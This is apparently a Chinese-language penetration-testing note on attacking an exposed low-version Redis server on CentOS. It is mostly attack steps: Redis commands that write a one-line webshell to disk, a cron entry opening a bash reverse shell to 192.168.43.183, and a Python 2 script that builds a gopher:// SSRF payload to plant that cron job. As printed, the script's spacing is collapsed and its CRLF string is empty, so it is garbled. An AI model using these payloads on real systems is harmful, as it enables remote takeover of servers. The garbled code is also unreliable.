前提:
1.靶机是Centos环境
2.redis低版本,具体低于多少不清楚
——————主要几个命令操作——————
flushall //清空所有key值
config get dir //获取路径
config set dir /**/**/ //设置路径
set xxx '
一句话木马
' //设置xxx值为一句话木马
config set dbfilename 111.jsp/ /设置文件名
save //将xxx默认写入到111.jsp
方式一:直接用进入redis写入计划任务(失败,未成功反弹shell,失败原因:未知,到靶机系统查看文件也成功写入了,但是和下面使用脚本写的就是格式上有点不一样)
1.set 1 '
*/1 * * * * bash -i >& /dev/tcp/192.168.43.183/7777 0>&1
'
2.config set dir /var/spool/cron/
3.config set dbfilename root
4.save
方式二:使用脚本写入(原理和上面同理,成功率高)
ip是目标系统的,server_ip是接收shell的
importurllib
protocol="gopher://"ip='192.168.43.144'port='6379'reverse_ip="192.168.43.183"reverse_port="4444"cron="*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1"%(reverse_ip,reverse_port)
filename="root"path="/var/spool/cron"passwd=""cmd=["flushall","set 1 {}".format(cron.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]ifpasswd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
defredis_format(arr):
CRLF=""redis_arr= arr.split(" ")
cmd=""cmd+="*"+str(len(redis_arr))for x inredis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLFreturncmdif __name__=="__main__":for x incmd:
payload+=urllib.quote(redis_format(x))print payload
1.改好脚本后运行:python2 redis.py
2.curl命令执行
3.监听成功
参考链接:
https://mp.weixin.qq.com/s/Vj24aRbr3P7Pg59HE3SpRQ